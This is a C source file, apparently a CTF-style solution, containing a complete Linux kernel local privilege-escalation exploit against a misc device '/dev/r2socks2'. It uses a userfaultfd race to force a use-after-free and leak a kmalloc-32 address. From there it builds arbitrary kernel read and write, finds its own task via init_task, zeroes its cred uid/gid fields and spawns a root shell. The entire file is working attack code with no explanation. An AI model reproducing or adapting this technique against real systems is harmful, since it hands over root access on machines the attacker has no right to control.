exploit.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <pthread.h>
#include <limits.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <poll.h>
#include <sys/prctl.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                           } while (0)

#define IOCTL_SOCKS_INIT    0xC0087301
#define IOCTL_SOCKS_LISTEN  0xC0407302
#define IOCTL_SOCKS_CONNECT 0xC0407303
#define IOCTL_SOCKS_SEND    0xC0107304
#define IOCTL_SOCKS_RECV    0xC0107305
#define IOCTL_SOCKS_RESIZE  0xC0087306

#define MISC_DEVICE_PATH    "/dev/r2socks2"

#define SINGLE_STOP         0x1c5ef0
#define INIT_TASK           0x100f740
#define CRED                0x560
#define COMM                0x570
#define TASKS               0x2C8

struct socks_arg {
    size_t size;
    char* buffer;
};

struct userfault_arg {
    long uffd;
    uint64_t range;
    size_t size;
    int fda;
    int fdb;
};

int fds[256];
char* ptr;

int socks_init(int fd, uint64_t size) {
    return ioctl(fd, IOCTL_SOCKS_INIT, size);
}

int socks_listen(int fd, char* name) {
    return ioctl(fd, IOCTL_SOCKS_LISTEN, name);
}

int socks_connect(int fd, char* name) {
    return ioctl(fd, IOCTL_SOCKS_CONNECT, name);
}

int socks_send(int fd, char* buffer, size_t size) {
    struct socks_arg arg = {
        .size = size,
        .buffer = buffer,
    };
    return ioctl(fd, IOCTL_SOCKS_SEND, &arg);
}

int socks_recv(int fd, char* buffer, size_t size) {
    struct socks_arg arg = {
        .size = size,
        .buffer = buffer,
    };
    return ioctl(fd, IOCTL_SOCKS_RECV, &arg);
}

int socks_resize(int fd, size_t size) {
    return ioctl(fd, IOCTL_SOCKS_RESIZE, size);
}

static void* userfault_handler(void* arg) {
    struct uffd_msg msg;
    struct uffdio_copy uffdio_copy;
    struct userfault_arg* args = (struct userfault_arg*) arg;
    ssize_t nread;

    void* page = mmap(NULL, args->size, PROT_READ|PROT_WRITE,
            MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        errExit("mmap()");

    *(uint64_t*) page = UINT_MAX;

    printf("page for handling faults is %p\n", page);

    for (;;) {
        struct pollfd pollfd;
        pollfd.fd = args->uffd;
        pollfd.events = POLLIN;

        int nready = poll(&pollfd, 1, -1);
        if (nready == -1)
            errExit("poll()");

        printf("fault_handler_thread():\n");
        printf("poll() returns: nready = %d; ",
               "POLLIN = %d; POLLERR = %d\n", nready,
               (pollfd.revents & POLLIN) != 0,
               (pollfd.revents & POLLERR) != 0);

        nread = read(args->uffd, &msg, sizeof(msg));
        if (nread == 0) {
            fprintf(stderr, "EOF on userfaultfd!\n");
            exit(EXIT_FAILURE);
        }

        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            fprintf(stderr, "Unexpected event on userfaultfd\n");
            exit(EXIT_FAILURE);
        }

        /* force use-after-free */
        socks_resize(args->fda, 64);
        socks_init(args->fdb, 32);

        printf("unlocking thread...\n");
        uffdio_copy.src = (uint64_t) page;
        uffdio_copy.dst = msg.arg.pagefault.address & ~(0x1000 - 1);
        uffdio_copy.len = args->size;
        uffdio_copy.mode = 0;

        if (ioctl(args->uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("UFFDIO_COPY ioctl()");

        printf("fault handled successfully!\n");
        break;
    }
}

long prepare_userfault(void* range, size_t len) {
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;

    if ((uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK)) == -1)
        errExit("userfaultfd()");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("UFFDIO_API ioctl()");

    uffdio_register.range.start = (uint64_t) range;
    uffdio_register.range.len   = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("UFFDIO_REGISTER ioctl()");

    return uffd;
}

uint64_t write64(uint64_t addr, uint64_t val) {
    uint64_t data = val;

    *(uint64_t*) (ptr + 0xfe0) = 0x8;
    *(uint64_t*) (ptr + 0xfe8) = addr;
    *(uint64_t*) (ptr + 0xff0) = 0x8;
    *(uint64_t*) (ptr + 0xff8) = 0x0;

    socks_send(fds[40], ptr+0xf80, 128+1);
    socks_send(fds[60], (char*) &data, 8);

    return data;
}

uint64_t read64(uint64_t addr) {
    uint64_t data = 0;
    char buf[128] = { 0 };

    *(uint64_t*) (ptr + 0xfe0) = 0x8;
    *(uint64_t*) (ptr + 0xfe8) = addr;
    *(uint64_t*) (ptr + 0xff0) = 0x0;
    *(uint64_t*) (ptr + 0xff8) = 0x8;

    socks_send(fds[40], ptr+0xf80, 128+1);
    socks_recv(fds[50], (char*) &data, 8);

    return data;
}

uint64_t search_task(uint64_t init_task) {
    char comm[16];

    printf("searching for current_task\n");

    char* name = "exp1337";
    prctl(PR_SET_NAME, name, 0, 0, 0);

    uint64_t current_task = init_task;
    uint64_t next_task = 0;

    while (next_task != init_task) {
        next_task = read64(current_task + TASKS) - TASKS;

        *(uint64_t *)  comm      = read64(next_task + COMM);
        *(uint64_t *) (comm + 8) = read64(next_task + COMM + 8);

        printf("%#lx -> %s\n", next_task, comm);
        if (strcmp(comm, name) == 0)
            break;

        current_task = next_task;
    }

    return next_task;
}

int main(int argc, char* argv[argc+1]) {
    long uffd;
    pthread_t handler;

    for (size_t i=0; i < 256; ++i) {
        if ((fds[i] = open(MISC_DEVICE_PATH, O_RDWR)) == -1)
            errExit("open()");
    }

    socks_init(fds[1], 32);
    socks_init(fds[2], 32);
    socks_listen(fds[1],  "ABCD");
    socks_connect(fds[2], "ABCD");

    void* page = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
            MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    if (page == MAP_FAILED)
        errExit("mmap()");

    printf("== [STAGE 1] Leaking kmalloc-32 ==\n");
    printf("mmaped page is %p\n", page);

    uffd = prepare_userfault(page, 0x1000);
    printf("userfault fd is %ld\n", uffd);

    struct userfault_arg handler_args = {
        .uffd  = uffd,
        .range = (uint64_t) page,
        .size  = 0x1000,
        .fda   = fds[1],
        .fdb   = fds[3],
    };

    if (pthread_create(&handler, 0, userfault_handler, (void*) &handler_args))
        errExit("pthread_create()");

    socks_send(fds[2], page, 8);

    pthread_join(handler, 0);
    printf("[STAGE 1] won the race!\n");

    socks_init(fds[4], 32);

    socks_init(fds[5], 32);
    socks_init(fds[6], 32);

    socks_listen(fds[3],  "PWNED");
    socks_connect(fds[4], "PWNED");

    socks_listen(fds[5],  "VICTIM");
    socks_connect(fds[6], "VICTIM");

    char buf[105] = { 0 };
    *(uint64_t*)(buf+0x60) = 0x20;
    *(uint8_t *)(buf+0x68) = 0x08;

    socks_send(fds[6], buf, 8);

    socks_send(fds[4], buf, sizeof(buf));

    socks_recv(fds[5], buf, 32);

    uint64_t leak = *(uint64_t*) buf;
	  if (leak == 0) {
		    printf("[ABORTING] couldn't leak ;(\n");
		    return EXIT_FAILURE;
	  }

    printf("kmalloc-32: %llx\n", leak);
    printf("== [STAGE 2] Arbitrary kernel read|write ==\n");

	  socks_init(fds[10], 32);
    socks_init(fds[20], 32);
    socks_listen(fds[10],  "DCBA");
    socks_connect(fds[20], "DCBA");

    close(uffd);
    munmap(page, 0x1000);
    page = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
            MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    if (page == MAP_FAILED)
        errExit("mmap()");

    printf("new mmaped page is %p\n", page);

    uffd = prepare_userfault(page, 0x1000);

    printf("new userfault fd is %ld\n", uffd);

    handler_args.uffd  = uffd;
    handler_args.range = (uint64_t) page;
    handler_args.fda   = fds[10];
    handler_args.fdb   = fds[30];

    if (pthread_create(&handler, 0, userfault_handler, (void*) &handler_args))
        errExit("pthread_create()");

    ptr = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE,
            MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    if (ptr == MAP_FAILED)
        errExit("mmap()");

    printf("range for faulting is %p\n", ptr);

    if (mprotect(ptr+0x1000, 0x1000, PROT_NONE) == -1)
        errExit("mprotect()");

    socks_send(fds[20], page, 8);

    pthread_join(handler, 0);
    printf("[STAGE 2]: won the race!\n");

    socks_init(fds[40], 32);

    socks_init(fds[50], 32);
    socks_init(fds[60], 32);

    socks_listen(fds[30],  "STAGE2");
    socks_connect(fds[40], "STAGE2");

    socks_listen(fds[50],  "TARGET");
    socks_connect(fds[60], "TARGET");

    socks_init(fds[137],   32);
    socks_resize(fds[137], 64);

    printf("searching sentinel...\n");

    uint64_t sentinel = leak;
    while (read64(sentinel) != 0xcccccccccccccccc) {
        sentinel += 8;
    }

    printf("found sentinel %llx at %llx\n", read64(sentinel), sentinel);

    int fdx = open("/proc/self/stat", O_RDONLY);
    uint64_t stext = read64(sentinel) - SINGLE_STOP;
    printf("_stext at %llx\n", stext);

    uint64_t init_task = stext+INIT_TASK;
    printf("init_task at %llx\n", init_task);

	  uint64_t current_task = search_task(init_task);
    printf("found current task at %#llx\n", current_task);

    uint64_t cred = read64(current_task+CRED);
    printf("cred at %#llx\n", cred);

    uint64_t* cred_ptr = (uint64_t *) (cred + 4);
    for (uint64_t* p = cred_ptr; p < cred_ptr + 4; ++p) {
        write64((uint64_t) p, 0);
        if (read64((uint64_t) p) != 0) {
            printf("couldn't get root\n");
            return EXIT_FAILURE;
        }
    }

    printf("g00t r00t!\n");
    execl("/bin/sh", "sh", NULL);

    return EXIT_SUCCESS;
}